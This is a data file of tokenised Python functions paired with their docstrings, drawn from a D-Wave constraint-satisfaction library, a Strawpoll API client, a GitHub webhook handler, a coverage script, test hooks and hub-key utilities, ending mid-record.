{"signature": "def add_constraint(self, constraint, variables=tuple()):", "body": "if isinstance(constraint, Constraint):<EOL><INDENT>if variables and (tuple(variables) != constraint.variables):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>elif isinstance(constraint, Callable):<EOL><INDENT>constraint = Constraint.from_func(constraint, variables, self.vartype)<EOL><DEDENT>elif isinstance(constraint, Iterable):<EOL><INDENT>constraint = Constraint.from_configurations(constraint, variables, self.vartype)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>self.constraints.append(constraint)<EOL>for v in constraint.variables:<EOL><INDENT>self.variables[v].append(constraint)<EOL><DEDENT>", "docstring": "Add a constraint.\n\n        Args:\n            constraint (function/iterable/:obj:`.Constraint`):\n                Constraint definition in one of the supported formats:\n\n                1. Function, with input arguments matching the order and\n                   :attr:`~.ConstraintSatisfactionProblem.vartype` type of the `variables`\n                   argument, that evaluates True when the constraint is satisfied.\n                2. List explicitly specifying each allowed configuration as a tuple.\n                3. :obj:`.Constraint` object built either explicitly or by :mod:`dwavebinarycsp.factories`.\n\n            variables(iterable):\n                Variables associated with the constraint. Not required when `constraint` is\n                a :obj:`.Constraint` object.\n\n        Examples:\n            This example defines a function that evaluates True when the constraint is satisfied.\n            The function's input arguments match the order and type of the `variables` argument.\n\n            >>> import dwavebinarycsp\n            >>> csp = dwavebinarycsp.ConstraintSatisfactionProblem(dwavebinarycsp.BINARY)\n            >>> def all_equal(a, b, c):  # works for both dwavebinarycsp.BINARY and dwavebinarycsp.SPIN\n            ...     return (a == b) and (b == c)\n            >>> csp.add_constraint(all_equal, ['a', 'b', 'c'])\n            >>> csp.check({'a': 0, 'b': 0, 'c': 0})\n            True\n            >>> csp.check({'a': 0, 'b': 0, 'c': 1})\n            False\n\n            This example explicitly lists allowed configurations.\n\n            >>> import dwavebinarycsp\n            >>> csp = dwavebinarycsp.ConstraintSatisfactionProblem(dwavebinarycsp.SPIN)\n            >>> eq_configurations = {(-1, -1), (1, 1)}\n            >>> csp.add_constraint(eq_configurations, ['v0', 'v1'])\n            >>> csp.check({'v0': -1, 'v1': +1})\n            False\n            >>> csp.check({'v0': -1, 'v1': -1})\n            True\n\n            This example uses a :obj:`.Constraint` object built by :mod:`dwavebinarycsp.factories`.\n\n            >>> import dwavebinarycsp\n            >>> import dwavebinarycsp.factories.constraint.gates as gates\n            >>> csp = dwavebinarycsp.ConstraintSatisfactionProblem(dwavebinarycsp.BINARY)\n            >>> csp.add_constraint(gates.and_gate(['a', 'b', 'c']))  # add an AND gate\n            >>> csp.add_constraint(gates.xor_gate(['a', 'c', 'd']))  # add an XOR gate\n            >>> csp.check({'a': 1, 'b': 0, 'c': 0, 'd': 1})\n            True", "id": "f11943:c0:m2"}
{"signature": "def add_variable(self, v):", "body": "self.variables[v]<EOL>", "docstring": "Add a variable.\n\n        Args:\n            v (variable):\n                Variable in the constraint satisfaction problem. May be of any type that\n                can be a dict key.\n\n        Examples:\n            This example adds two variables, one of which is already used in a constraint\n            of the constraint satisfaction problem.\n\n            >>> import dwavebinarycsp\n            >>> import operator\n            >>> csp = dwavebinarycsp.ConstraintSatisfactionProblem(dwavebinarycsp.SPIN)\n            >>> csp.add_constraint(operator.eq, ['a', 'b'])\n            >>> csp.add_variable('a')  # does nothing, already added as part of the constraint\n            >>> csp.add_variable('c')\n            >>> csp.check({'a': -1, 'b': -1, 'c': 1})\n            True\n            >>> csp.check({'a': -1, 'b': -1, 'c': -1})\n            True", "id": "f11943:c0:m3"}
{"signature": "def check(self, solution):", "body": "return all(constraint.check(solution) for constraint in self.constraints)<EOL>", "docstring": "Check that a solution satisfies all of the constraints.\n\n        Args:\n            solution (container):\n                An assignment of values for the variables in the constraint satisfaction problem.\n\n        Returns:\n            bool: True if the solution satisfies all of the constraints; False otherwise.\n\n        Examples:\n            This example creates a binary-valued constraint satisfaction problem, adds\n            two logic gates implementing Boolean constraints, :math:`c = a \\wedge b`\n            and :math:`d = a \\oplus c`, and verifies that the combined problem is satisfied\n            for a given assignment.\n\n            >>> import dwavebinarycsp\n            >>> import dwavebinarycsp.factories.constraint.gates as gates\n            >>> csp = dwavebinarycsp.ConstraintSatisfactionProblem(dwavebinarycsp.BINARY)\n            >>> csp.add_constraint(gates.and_gate(['a', 'b', 'c']))  # add an AND gate\n            >>> csp.add_constraint(gates.xor_gate(['a', 'c', 'd']))  # add an XOR gate\n            >>> csp.check({'a': 1, 'b': 0, 'c': 0, 'd': 1})\n            True", "id": "f11943:c0:m4"}
{"signature": "def fix_variable(self, v, value):", "body": "if v not in self.variables:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(v))<EOL><DEDENT>for constraint in self.variables[v]:<EOL><INDENT>constraint.fix_variable(v, value)<EOL><DEDENT>del self.variables[v]<EOL>", "docstring": "Fix the value of a variable and remove it from the constraint satisfaction problem.\n\n        Args:\n            v (variable):\n                Variable to be fixed in the constraint satisfaction problem.\n\n            value (int):\n                Value assigned to the variable. Values must match the\n                :attr:`~.ConstraintSatisfactionProblem.vartype` of the constraint\n                satisfaction problem.\n\n        Examples:\n            This example creates a spin-valued constraint satisfaction problem, adds two constraints,\n            :math:`a = b` and :math:`b \\\\ne c`, and fixes variable b to +1.\n\n            >>> import dwavebinarycsp\n            >>> import operator\n            >>> csp = dwavebinarycsp.ConstraintSatisfactionProblem(dwavebinarycsp.SPIN)\n            >>> csp.add_constraint(operator.eq, ['a', 'b'])\n            >>> csp.add_constraint(operator.ne, ['b', 'c'])\n            >>> csp.check({'a': +1, 'b': +1, 'c': -1})\n            True\n            >>> csp.check({'a': -1, 'b': -1, 'c': +1})\n            True\n            >>> csp.fix_variable('b', +1)\n            >>> csp.check({'a': +1, 'b': +1, 'c': -1})  # 'b' is ignored\n            True\n            >>> csp.check({'a': -1, 'b': -1, 'c': +1})\n            False\n            >>> csp.check({'a': +1, 'c': -1})\n            True\n            >>> csp.check({'a': -1, 'c': +1})\n            False", "id": "f11943:c0:m5"}
{"signature": "def assert_penaltymodel_factory_available():", "body": "from pkg_resources import iter_entry_points<EOL>from penaltymodel.core import FACTORY_ENTRYPOINT<EOL>from itertools import chain<EOL>supported = ('<STR_LIT>', '<STR_LIT>')<EOL>factories = chain(*(iter_entry_points(FACTORY_ENTRYPOINT, name) for name in supported))<EOL>try:<EOL><INDENT>next(factories)<EOL><DEDENT>except StopIteration:<EOL><INDENT>raise AssertionError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(<EOL>\"<STR_LIT>\".join(\"<STR_LIT>\".format(name) for name in supported)<EOL>))<EOL><DEDENT>", "docstring": "For `dwavebinarycsp` to be functional, at least one penalty model factory\n    has to be installed. See discussion in setup.py for details.", "id": "f11946:m0"}
{"signature": "def stitch(csp, min_classical_gap=<NUM_LIT>, max_graph_size=<NUM_LIT:8>):", "body": "<EOL>try:<EOL><INDENT>dwavebinarycsp.assert_penaltymodel_factory_available()<EOL><DEDENT>except AssertionError as e:<EOL><INDENT>raise RuntimeError(e)<EOL><DEDENT>def aux_factory():<EOL><INDENT>for i in count():<EOL><INDENT>yield '<STR_LIT>'.format(i)<EOL><DEDENT><DEDENT>aux = aux_factory()<EOL>bqm = dimod.BinaryQuadraticModel.empty(csp.vartype)<EOL>for const in csp.constraints:<EOL><INDENT>configurations = const.configurations<EOL>if len(const.variables) > max_graph_size:<EOL><INDENT>msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\").format(const=const, num_var=len(const.variables), max_graph_size=max_graph_size)<EOL>raise ImpossibleBQM(msg)<EOL><DEDENT>pmodel = None<EOL>if len(const) == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>if min_classical_gap <= <NUM_LIT>:<EOL><INDENT>if len(const) == <NUM_LIT:1> and max_graph_size >= <NUM_LIT:1>:<EOL><INDENT>bqm.update(_bqm_from_1sat(const))<EOL>continue<EOL><DEDENT>elif len(const) == <NUM_LIT:2> and max_graph_size >= <NUM_LIT:2>:<EOL><INDENT>bqm.update(_bqm_from_2sat(const))<EOL>continue<EOL><DEDENT><DEDENT>for G in iter_complete_graphs(const.variables, max_graph_size + <NUM_LIT:1>, aux):<EOL><INDENT>spec = pm.Specification(<EOL>graph=G,<EOL>decision_variables=const.variables,<EOL>feasible_configurations=configurations,<EOL>min_classical_gap=min_classical_gap,<EOL>vartype=csp.vartype<EOL>)<EOL>try:<EOL><INDENT>pmodel = pm.get_penalty_model(spec)<EOL><DEDENT>except pm.ImpossiblePenaltyModel:<EOL><INDENT>continue<EOL><DEDENT>if pmodel.classical_gap >= min_classical_gap:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>msg = (\"<STR_LIT>\".format(const))<EOL>raise ImpossibleBQM(msg)<EOL><DEDENT>bqm.update(pmodel.model)<EOL><DEDENT>return bqm<EOL>", "docstring": "Build a binary quadratic model with minimal energy levels at solutions to the specified constraint satisfaction\n    problem.\n\n    Args:\n        csp (:obj:`.ConstraintSatisfactionProblem`):\n            Constraint satisfaction problem.\n\n        min_classical_gap (float, optional, default=2.0):\n            Minimum energy gap from ground. Each constraint violated by the solution increases\n            the energy level of the binary quadratic model by at least this much relative\n            to ground energy.\n\n        max_graph_size (int, optional, default=8):\n            Maximum number of variables in the binary quadratic model that can be used to\n            represent a single constraint.\n\n    Returns:\n        :class:`~dimod.BinaryQuadraticModel`\n\n    Notes:\n        For a `min_classical_gap` > 2 or constraints with more than two variables, requires\n        access to factories from the penaltymodel_ ecosystem to construct the binary quadratic\n        model.\n\n    .. _penaltymodel: https://github.com/dwavesystems/penaltymodel\n\n    Examples:\n        This example creates a binary-valued constraint satisfaction problem\n        with two constraints, :math:`a = b` and :math:`b \\\\ne c`, and builds\n        a binary quadratic model with a minimum energy level of -2 such that\n        each constraint violation by a solution adds the default minimum energy gap.\n\n        >>> import dwavebinarycsp\n        >>> import operator\n        >>> csp = dwavebinarycsp.ConstraintSatisfactionProblem(dwavebinarycsp.BINARY)\n        >>> csp.add_constraint(operator.eq, ['a', 'b'])  # a == b\n        >>> csp.add_constraint(operator.ne, ['b', 'c'])  # b != c\n        >>> bqm = dwavebinarycsp.stitch(csp)\n        >>> bqm.energy({'a': 0, 'b': 0, 'c': 1})  # satisfies csp\n        -2.0\n        >>> bqm.energy({'a': 0, 'b': 0, 'c': 0})  # violates one constraint\n        0.0\n        >>> bqm.energy({'a': 1, 'b': 0, 'c': 0}) # violates two constraints\n        2.0\n\n        This example creates a binary-valued constraint satisfaction problem\n        with two constraints, :math:`a = b` and :math:`b \\\\ne c`, and builds\n        a binary quadratic model with a minimum energy gap of 4.\n        Note that in this case the conversion to binary quadratic model adds two\n        ancillary variables that must be minimized over when solving.\n\n        >>> import dwavebinarycsp\n        >>> import operator\n        >>> import itertools\n        >>> csp = dwavebinarycsp.ConstraintSatisfactionProblem(dwavebinarycsp.BINARY)\n        >>> csp.add_constraint(operator.eq, ['a', 'b'])  # a == b\n        >>> csp.add_constraint(operator.ne, ['b', 'c'])  # b != c\n        >>> bqm = dwavebinarycsp.stitch(csp, min_classical_gap=4.0)\n        >>> list(bqm)   # # doctest: +SKIP\n        ['a', 'aux1', 'aux0', 'b', 'c']\n        >>> min([bqm.energy({'a': 0, 'b': 0, 'c': 1, 'aux0': aux0, 'aux1': aux1}) for\n        ... aux0, aux1 in list(itertools.product([0, 1], repeat=2))])  # satisfies csp\n        -6.0\n        >>> min([bqm.energy({'a': 0, 'b': 0, 'c': 0, 'aux0': aux0, 'aux1': aux1}) for\n        ... aux0, aux1 in list(itertools.product([0, 1], repeat=2))])  # violates one constraint\n        -2.0\n        >>> min([bqm.energy({'a': 1, 'b': 0, 'c': 0, 'aux0': aux0, 'aux1': aux1}) for\n        ... aux0, aux1 in list(itertools.product([0, 1], repeat=2))])  # violates two constraints\n        2.0\n\n        This example finds for the previous example the minimum graph size.\n\n        >>> import dwavebinarycsp\n        >>> import operator\n        >>> csp = dwavebinarycsp.ConstraintSatisfactionProblem(dwavebinarycsp.BINARY)\n        >>> csp.add_constraint(operator.eq, ['a', 'b'])  # a == b\n        >>> csp.add_constraint(operator.ne, ['b', 'c'])  # b != c\n        >>> for n in range(8, 1, -1):\n        ...     try:\n        ...         bqm = dwavebinarycsp.stitch(csp, min_classical_gap=4.0, max_graph_size=n)\n        ...     except dwavebinarycsp.exceptions.ImpossibleBQM:\n        ...         print(n+1)\n        ...\n        3", "id": "f11947:m0"}
{"signature": "def _bqm_from_1sat(constraint):", "body": "configurations = constraint.configurations<EOL>num_configurations = len(configurations)<EOL>bqm = dimod.BinaryQuadraticModel.empty(constraint.vartype)<EOL>if num_configurations == <NUM_LIT:1>:<EOL><INDENT>val, = next(iter(configurations))<EOL>v, = constraint.variables<EOL>bqm.add_variable(v, -<NUM_LIT:1> if val > <NUM_LIT:0> else +<NUM_LIT:1>, vartype=dimod.SPIN)<EOL><DEDENT>else:<EOL><INDENT>bqm.add_variables_from((v, <NUM_LIT:0.0>) for v in constraint.variables)<EOL><DEDENT>return bqm<EOL>", "docstring": "create a bqm for a constraint with only one variable\n\n    bqm will have exactly classical gap 2.", "id": "f11947:m1"}
{"signature": "def _bqm_from_2sat(constraint):", "body": "configurations = constraint.configurations<EOL>variables = constraint.variables<EOL>vartype = constraint.vartype<EOL>u, v = constraint.variables<EOL>if len(configurations) == <NUM_LIT:4>:<EOL><INDENT>return dimod.BinaryQuadraticModel.empty(constraint.vartype)<EOL><DEDENT>components = irreducible_components(constraint)<EOL>if len(components) > <NUM_LIT:1>:<EOL><INDENT>const0 = Constraint.from_configurations(((config[<NUM_LIT:0>],) for config in configurations),<EOL>(u,), vartype)<EOL>const1 = Constraint.from_configurations(((config[<NUM_LIT:1>],) for config in configurations),<EOL>(v,), vartype)<EOL>bqm = _bqm_from_1sat(const0)<EOL>bqm.update(_bqm_from_1sat(const1))<EOL>return bqm<EOL><DEDENT>assert len(configurations) > <NUM_LIT:1>, \"<STR_LIT>\"<EOL>bqm = dimod.BinaryQuadraticModel.empty(vartype)<EOL>if all(operator.eq(*config) for config in configurations):<EOL><INDENT>bqm.add_interaction(u, v, -<NUM_LIT:1>, vartype=dimod.SPIN)  <EOL><DEDENT>elif all(operator.ne(*config) for config in configurations):<EOL><INDENT>bqm.add_interaction(u, v, +<NUM_LIT:1>, vartype=dimod.SPIN)  <EOL><DEDENT>elif (<NUM_LIT:1>, <NUM_LIT:1>) not in configurations:<EOL><INDENT>bqm.add_interaction(u, v, <NUM_LIT:2>, vartype=dimod.BINARY)  <EOL><DEDENT>elif (-<NUM_LIT:1>, +<NUM_LIT:1>) not in configurations and (<NUM_LIT:0>, <NUM_LIT:1>) not in configurations:<EOL><INDENT>bqm.add_interaction(u, v, -<NUM_LIT:2>, vartype=dimod.BINARY)<EOL>bqm.add_variable(v, <NUM_LIT:2>, vartype=dimod.BINARY)<EOL><DEDENT>elif (+<NUM_LIT:1>, -<NUM_LIT:1>) not in configurations and (<NUM_LIT:1>, <NUM_LIT:0>) not in configurations:<EOL><INDENT>bqm.add_interaction(u, v, -<NUM_LIT:2>, vartype=dimod.BINARY)<EOL>bqm.add_variable(u, <NUM_LIT:2>, vartype=dimod.BINARY)<EOL><DEDENT>else:<EOL><INDENT>bqm.add_interaction(u, v, <NUM_LIT:2>, vartype=dimod.BINARY)<EOL>bqm.add_variable(u, -<NUM_LIT:2>, vartype=dimod.BINARY)<EOL>bqm.add_variable(v, -<NUM_LIT:2>, vartype=dimod.BINARY)<EOL><DEDENT>return bqm<EOL>", "docstring": "create a bqm for a constraint with two variables.\n\n    bqm will have exactly classical gap 2.", "id": "f11947:m2"}
{"signature": "@nx.utils.nodes_or_number(<NUM_LIT:0>)<EOL>def iter_complete_graphs(start, stop, factory=None):", "body": "_, nodes = start<EOL>nodes = list(nodes)  <EOL>if factory is None:<EOL><INDENT>factory = count()<EOL><DEDENT>while len(nodes) < stop:<EOL><INDENT>G = nx.complete_graph(nodes)<EOL>yield G<EOL>v = next(factory)<EOL>while v in G:<EOL><INDENT>v = next(factory)<EOL><DEDENT>nodes.append(v)<EOL><DEDENT>", "docstring": "Iterate over complete graphs.\n\n    Args:\n        start (int/iterable):\n            Define the size of the starting graph.\n            If an int, the nodes will be index-labeled, otherwise should be an iterable of node\n            labels.\n\n        stop (int):\n            Stops yielding graphs when the size equals stop.\n\n        factory (iterator, optional):\n            If provided, nodes added will be labeled according to the values returned by factory.\n            Otherwise the extra nodes will be index-labeled.\n\n    Yields:\n        :class:`nx.Graph`", "id": "f11947:m3"}
{"signature": "@property<EOL><INDENT>def options(self):<DEDENT>", "body": "return list(self._results.keys())<EOL>", "docstring": "Returns a list of strings to represent the options for the poll, in\n        the order they were given when the poll was created.", "id": "f11956:c0:m4"}
{"signature": "@property<EOL><INDENT>def votes(self):<DEDENT>", "body": "return list(self._results.values())<EOL>", "docstring": "Return a list of integers that correspond to the same indexed option\n        which specify the current votes for that option.", "id": "f11956:c0:m5"}
{"signature": "@property<EOL><INDENT>def total_votes(self):<DEDENT>", "body": "return sum(self._results.values())<EOL>", "docstring": "Returns the total number of votes on the poll.", "id": "f11956:c0:m6"}
{"signature": "@property<EOL><INDENT>def url(self):<DEDENT>", "body": "if self.id is None:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return '<STR_LIT>'.format(strawpoll.API._BASE_URL, self.id)<EOL>", "docstring": "Returns the url of the poll. If the poll has not been submitted yet,\n        an empty string is returned instead.", "id": "f11956:c0:m7"}
{"signature": "def results(self, limit=None):", "body": "return self._results.most_common(limit)<EOL>", "docstring": "Returns a list of tuples each containing a string representing an\n        option and an int which specify the current votes for that option,\n        ordered by their votes count.\n\n        :param int limit: The maximum number of results to return. If not \\\n        specified, every results will be returned.", "id": "f11956:c0:m8"}
{"signature": "def result_at(self, index):", "body": "return list(self._results.items())[index]<EOL>", "docstring": "Returns a tuple containing a string representing the option and an\n        int which specify the current votes for that option.\n\n        :param int index: The index of the wanted option in the options list.", "id": "f11956:c0:m9"}
{"signature": "def get_poll(self, arg, *, request_policy=None):", "body": "if isinstance(arg, str):<EOL><INDENT>match = self._url_re.match(arg)<EOL>if match:<EOL><INDENT>arg = match.group('<STR_LIT:id>')<EOL><DEDENT><DEDENT>return self._http_client.get('<STR_LIT>'.format(self._POLLS, arg),<EOL>request_policy=request_policy,<EOL>cls=strawpoll.Poll)<EOL>", "docstring": "Retrieves a poll from strawpoll.\n\n        :param arg: Either the ID of the poll or its strawpoll url.\n        :param request_policy: Overrides :attr:`API.requests_policy` for that \\\n        request.\n        :type request_policy: Optional[:class:`RequestsPolicy`]\n\n        :raises HTTPException: Requesting the poll failed.\n\n        :returns: A poll constructed with the requested data.\n        :rtype: :class:`Poll`", "id": "f11961:c0:m3"}
{"signature": "def submit_poll(self, poll, *, request_policy=None):", "body": "if poll.id is not None:<EOL><INDENT>raise ExistingPoll()<EOL><DEDENT>options = poll.options<EOL>data = {<EOL>'<STR_LIT:title>': poll.title,<EOL>'<STR_LIT>': options,<EOL>'<STR_LIT>': poll.multi,<EOL>'<STR_LIT>': poll.dupcheck,<EOL>'<STR_LIT>': poll.captcha<EOL>}<EOL>return self._http_client.post(self._POLLS,<EOL>data=data,<EOL>request_policy=request_policy,<EOL>cls=strawpoll.Poll)<EOL>", "docstring": "Submits a poll on strawpoll.\n\n        :param poll: The poll to submit.\n        :type poll: :class:`Poll`\n        :param request_policy: Overrides :attr:`API.requests_policy` for that \\\n        request.\n        :type request_policy: Optional[:class:`RequestsPolicy`]\n\n        :raises ExistingPoll: This poll instance has already been submitted.\n        :raises HTTPException: The submission failed.\n\n        :returns: The given poll updated with the data sent back from the submission.\n        :rtype: :class:`Poll`\n\n        .. note::\n            Only polls that have a non empty title and between 2 and 30 options\n            can be submitted.", "id": "f11961:c0:m4"}
{"signature": "def _get_header(key):", "body": "try:<EOL><INDENT>return request.headers[key]<EOL><DEDENT>except KeyError:<EOL><INDENT>abort(<NUM_LIT>, '<STR_LIT>' + key)<EOL><DEDENT>", "docstring": "Return message header", "id": "f11965:m0"}
{"signature": "def hook(self, event_type='<STR_LIT>'):", "body": "def decorator(func):<EOL><INDENT>self._hooks[event_type].append(func)<EOL>return func<EOL><DEDENT>return decorator<EOL>", "docstring": "Registers a function as a hook. Multiple hooks can be registered for a given type, but the\norder in which they are invoke is unspecified.\n\n:param event_type: The event type this hook will be invoked for.", "id": "f11965:c0:m1"}
{"signature": "def _get_digest(self):", "body": "return hmac.new(<EOL>self._secret, request.data, hashlib.sha1).hexdigest() if self._secret else None<EOL>", "docstring": "Return message digest if a secret key was provided", "id": "f11965:c0:m2"}
{"signature": "def _postreceive(self):", "body": "digest = self._get_digest()<EOL>if digest is not None:<EOL><INDENT>sig_parts = _get_header('<STR_LIT>').split('<STR_LIT:=>', <NUM_LIT:1>)<EOL>if not isinstance(digest, six.text_type):<EOL><INDENT>digest = six.text_type(digest)<EOL><DEDENT>if (len(sig_parts) < <NUM_LIT:2> or sig_parts[<NUM_LIT:0>] != '<STR_LIT>'<EOL>or not hmac.compare_digest(sig_parts[<NUM_LIT:1>], digest)):<EOL><INDENT>abort(<NUM_LIT>, '<STR_LIT>')<EOL><DEDENT><DEDENT>event_type = _get_header('<STR_LIT>')<EOL>data = request.get_json()<EOL>if data is None:<EOL><INDENT>abort(<NUM_LIT>, '<STR_LIT>')<EOL><DEDENT>self._logger.info(<EOL>'<STR_LIT>', _format_event(event_type, data), _get_header('<STR_LIT>'))<EOL>for hook in self._hooks.get(event_type, []):<EOL><INDENT>hook(data)<EOL><DEDENT>return '<STR_LIT>', <NUM_LIT><EOL>", "docstring": "Callback from Flask", "id": "f11965:c0:m3"}
{"signature": "def system(command, input=None):", "body": "logger.debug(\"<STR_LIT>\", command)<EOL>p = subprocess.Popen(command,<EOL>shell=True,<EOL>stdin=subprocess.PIPE,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE,<EOL>close_fds=MUST_CLOSE_FDS)<EOL>stdoutdata, stderrdata = p.communicate(input=input)<EOL>result = stdoutdata + stderrdata<EOL>if p.returncode:<EOL><INDENT>logger.error(\"<STR_LIT>\",<EOL>command)<EOL>logger.error(\"<STR_LIT>\", p.returncode)<EOL>logger.error(\"<STR_LIT>\")<EOL>logger.error(result)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>logger.info(result)<EOL>", "docstring": "commands.getoutput() replacement that also works on windows.\n\n    Code mostly copied from zc.buildout.", "id": "f11970:m0"}
{"signature": "def main():", "body": "usage = \"<STR_LIT>\"<EOL>parser = optparse.OptionParser(usage=usage)<EOL>parser.add_option(<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>action=\"<STR_LIT:store_true>\", dest=\"<STR_LIT>\", default=False,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_option(<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>action=\"<STR_LIT:store>\", type=\"<STR_LIT:string>\", dest=\"<STR_LIT>\",<EOL>default='<STR_LIT>',<EOL>help=\"<STR_LIT>\")<EOL>parser.add_option(<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>action=\"<STR_LIT:store>\", type=\"<STR_LIT:string>\", dest=\"<STR_LIT>\",<EOL>default='<STR_LIT>',<EOL>help=(\"<STR_LIT>\" +<EOL>\"<STR_LIT>\"))<EOL>(options, args) = parser.parse_args()<EOL>if options.verbose:<EOL><INDENT>log_level = logging.DEBUG<EOL><DEDENT>else:<EOL><INDENT>log_level = logging.INFO<EOL><DEDENT>logging.basicConfig(level=log_level,<EOL>format=\"<STR_LIT>\")<EOL>curdir = os.getcwd()<EOL>testbinary = os.path.join(curdir, '<STR_LIT>', '<STR_LIT:test>')<EOL>if not os.path.exists(testbinary):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % testbinary)<EOL><DEDENT>coveragebinary = os.path.join(curdir, '<STR_LIT>', '<STR_LIT>')<EOL>if not os.path.exists(coveragebinary):<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>coveragebinary = '<STR_LIT>'<EOL><DEDENT>logger.info(\"<STR_LIT>\")<EOL>parts = [coveragebinary, '<STR_LIT>', testbinary]<EOL>if options.test_args:<EOL><INDENT>parts.append(options.test_args)<EOL><DEDENT>system(\"<STR_LIT:U+0020>\".join(parts))<EOL>logger.debug(\"<STR_LIT>\")<EOL>if options.output_dir:<EOL><INDENT>coverage_dir = options.output_dir<EOL>open_in_browser = False<EOL><DEDENT>else:<EOL><INDENT>coverage_dir = '<STR_LIT>'  <EOL>open_in_browser = True<EOL><DEDENT>system(\"<STR_LIT>\" % (coveragebinary, coverage_dir))<EOL>logger.info(\"<STR_LIT>\", coverage_dir)<EOL>if open_in_browser:<EOL><INDENT>index_file = os.path.abspath(<EOL>os.path.join(coverage_dir, '<STR_LIT>'))<EOL>logger.debug(\"<STR_LIT>\", index_file)<EOL>webbrowser.open('<STR_LIT>' + index_file)<EOL>logger.info(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Create coverage reports and open them in the browser.", "id": "f11970:m1"}
{"signature": "def before_scenario(context, scenario):", "body": "context.log.debug(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% scenario.name)<EOL>context.params = {}<EOL>context.exception = None<EOL>context.result = None<EOL>", "docstring": "Add entry to the debug log befere starting the scenario", "id": "f11975:m0"}
{"signature": "def after_scenario(context, scenario):", "body": "context.log.debug(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% scenario.name)<EOL>", "docstring": "Add an entry to the debug log after scenario was finished", "id": "f11975:m1"}
{"signature": "def before_all(context):", "body": "context.log = _setup_logging()<EOL>", "docstring": "Executes the code before all the tests are run", "id": "f11975:m2"}
{"signature": "def _setup_logging():", "body": "<EOL>log = logging.getLogger('<STR_LIT>')<EOL>fh = logging.FileHandler(<EOL>filename='<STR_LIT>'.format(REPORT_DIR), mode='<STR_LIT:w>')<EOL>log.setLevel(logging.DEBUG)<EOL>ch = logging.StreamHandler()<EOL>ch.setLevel(logging.INFO)<EOL>fh.setLevel(logging.DEBUG)<EOL>formatter = logging.Formatter(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>')<EOL>ch.setFormatter(formatter)<EOL>fh.setFormatter(formatter)<EOL>log.addHandler(ch)<EOL>log.addHandler(fh)<EOL>return log<EOL>", "docstring": "set up the logging facility", "id": "f11975:m3"}
{"signature": "def parse_hub_key(key):", "body": "if key is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>match = re.match(PATTERN, key)<EOL>if not match:<EOL><INDENT>match = re.match(PATTERN_S0, key)<EOL>if not match:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return dict(map(normalise_part, zip([p for p in PARTS_S0.keys()], match.groups())))<EOL><DEDENT>return dict(zip(PARTS.keys(), match.groups()))<EOL>", "docstring": "Parse a hub key into a dictionary of component parts\n\n    :param key: str, a hub key\n    :returns: dict, hub key split into parts\n    :raises: ValueError", "id": "f11977:m1"}
{"signature": "def is_hub_key(value):", "body": "try:<EOL><INDENT>parse_hub_key(value)<EOL>return True<EOL><DEDENT>except (ValueError, TypeError):<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Test if a value could be a hub key\n    :param value: the value to test if it is a hub key\n    :returns: True if it is a hub key", "id": "f11977:m2"}
{"signature": "def match_part(string, part):", "body": "if not string or not re.match('<STR_LIT>' + PARTS[part] + '<STR_LIT>', string):<EOL><INDENT>raise ValueError('<STR_LIT>'.format(part, PARTS[part]))<EOL><DEDENT>", "docstring": "Raise an exception if string doesn't match a part's regex\n\n    :param string: str\n    :param part: a key in the PARTS dict\n    :raises: ValueError, TypeError", "id": "f11977:m3"}
{"signature": "def idna_encode(string):", "body": "return string.encode('<STR_LIT>').decode('<STR_LIT:ascii>')<EOL>", "docstring": "Encode a string as ASCII using IDNA so that it is a valid part of a URI\n\n    See RFC3490.\n\n    :param string: str\n    :returns: ASCII string", "id": "f11977:m4"}
{"signature": "def url_quote(string):", "body": "return quote(string.encode('<STR_LIT:utf8>'), safe='<STR_LIT>')<EOL>", "docstring": "Percent encode a string as ASCII so that it is a valid part of a URI\n\n    :param string: str\n    :returns: ASCII string", "id": "f11977:m5"}
{"signature": "def generate_hub_key(resolver_id, hub_id, repository_id, entity_type, entity_id=None):", "body": "parsed = urlparse(resolver_id)<EOL>if not parsed.scheme:<EOL><INDENT>parsed = parsed._replace(scheme=PROTOCOL, netloc=idna_encode(parsed.path.lower()), path=u'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>parsed = parsed._replace(netloc=idna_encode(parsed.netloc.lower()))<EOL><DEDENT>resolver_id = urlunparse(parsed)<EOL>hub_id = url_quote(hub_id.lower())<EOL>if not entity_id:<EOL><INDENT>entity_id = str(uuid.uuid4()).replace('<STR_LIT:->', '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>match_part(entity_id, '<STR_LIT>')<EOL><DEDENT>match_part(resolver_id, '<STR_LIT>')<EOL>match_part(hub_id, '<STR_LIT>')<EOL>match_part(repository_id, '<STR_LIT>')<EOL>match_part(entity_type, '<STR_LIT>')<EOL>hub_key = SEPARATOR.join(<EOL>[resolver_id, SCHEMA, hub_id, repository_id, entity_type, entity_id])<EOL>return hub_key<EOL>", "docstring": "Create and return an array of hub keys\n    :param resolver_id: the service that can resolve this key\n    :param hub_id: the unique id of the hub\n    :param repository_id: the type of id that the provider recognises\n    :param entity_type: the type of the entity to which the key refers.\n    :param entity_id: ID of entity (UUID)\n    :returns: a hub 